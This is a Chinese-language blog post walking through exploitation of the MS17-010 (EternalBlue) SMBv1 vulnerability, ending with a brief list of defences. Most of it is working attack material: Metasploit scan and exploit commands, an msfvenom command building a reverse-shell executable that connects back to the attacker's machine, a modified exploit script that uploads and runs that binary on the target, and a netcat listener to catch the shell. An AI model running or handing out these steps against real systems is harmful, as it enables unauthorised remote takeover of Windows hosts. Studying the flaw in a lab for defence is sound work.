漏洞学习之:MS17-010

郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

漏洞学习之:MS17-010

MS17-010 漏洞通过向主机的 SMBv1 服务发送恶意命令造成举出,最终导致任意命令执行。在 Windows 系统中 SMB 服务默认是开启的,监听端口默认为 445。影响的系统版本有 Windows NT–WinServer 2012。

利用前提:目标主机关闭了防火墙

1 利用 MSF 复现 MS17-010 漏洞

  1. 查看 MSF 中关于 MS17-010 漏洞的模块

    search ms17-010

    image-20211115214914338

  2. 使用 auxiliary/scanner/smb/smb_ms17_010 模块进行漏洞检测

    use auxiliary/scanner/smb/smb_ms17_010
    set rhosts 192.168.0.0/24
    set threads 50
    run
    

    image-20211115215259524

  3. 使用 exploit/windows/smb/ms17_010_eternalblue 模块进行漏洞利用

    use exploit/windows/smb/ms17_010_eternalblue
    set rhosts 192.168.0.19
    set payload windows/x64/meterpreter/reverse_tcp
    run
    

    image-20211115222304255

2 利用 MS17-010 攻击脚本复现漏洞

  1. 查看存在 MS17-010 漏洞的主机

    nmap -A -p 445 --script vuln 192.168.0.19

    image-20211115211810400

  2. 查找可利用的攻击脚本

    searchsploit ms17-010

    image-20211115212625807

  3. 选择 windows/remote/42315.py 攻击脚本进行复现

  4. 生成反弹 shell 的恶意程序

    msfvenom lhost=192.168.0.2 lport=4444 -f exe --platform windows -p windows/shell_reverse_tcp > evil.exe

  5. 修改 42315.py 脚本内容如下:

    # 目标主机账户名称:administrator
    USERNAME = 'administrator'
    # 目标主机账户密码:Admin123
    PASSWORD = 'Admin123'
    
  6. 执行查看目标主机的 C 盘是否存在 pwned.txt 文档,如果存在,说明可以正常利用该攻击脚本

    image-20211115213414783

  7. 若执行脚本报错如下:则说明缺少 mysmb 模块

    └─# python 42315.py 192.168.0.19 
    Traceback (most recent call last):
      File "42315.py", line 3, in <module>
        from mysmb import MYSMB
    ImportError: No module named mysmb
    
    
    # 解决方案:
    git clone https://github.com/worawit/MS17-010
    并将 42315.py 脚本也移动到该目录下,再执行
    
  8. 修改 42315.py 脚本的 Payload,以便返弹 shell

    def smb_pwn(conn, arch):
    	smbConn = conn.get_smbconnection()
    
    	# print('creating file c:\\pwned.txt on the target')
    	# tid2 = smbConn.connectTree('C$')
    	# fid2 = smbConn.createFile(tid2, '/pwned.txt')
    	# smbConn.closeFile(tid2, fid2)
    	# smbConn.disconnectTree(tid2)
    
    	smb_send_file(smbConn, '要上传文件的完整路径', '上传的盘符位置', '/上传的文件名')
    	service_exec(conn, r'cmd /c c:\\上传的文件名')
    	# Note: there are many methods to get shell over SMB admin session
    	# a simple method to get shell (but easily to be detected by AV) is
    	# executing binary generated by "msfvenom -f exe-service ..."
    
    

    image-20211115214017309

  9. 本地配置监听反弹 shell 链接

    nc -nvlp 4444

  10. 执行攻击脚本并确认建立反弹 shell 链接

    image-20211115214609362

    image-20211115214629232

3 防御 EternalBlue 方法

  1. 禁用 SMBv1 协议
  2. 打开 Windows Update,或者手动安装 KB2919355
  3. 使用防火墙阻止 445 端口的连接,或通过进/出站规则阻止 445 端口
  4. 安装杀毒软件
posted @ 2021-11-15 22:38  f_carey  阅读(44)  评论(0编辑  收藏  举报  来源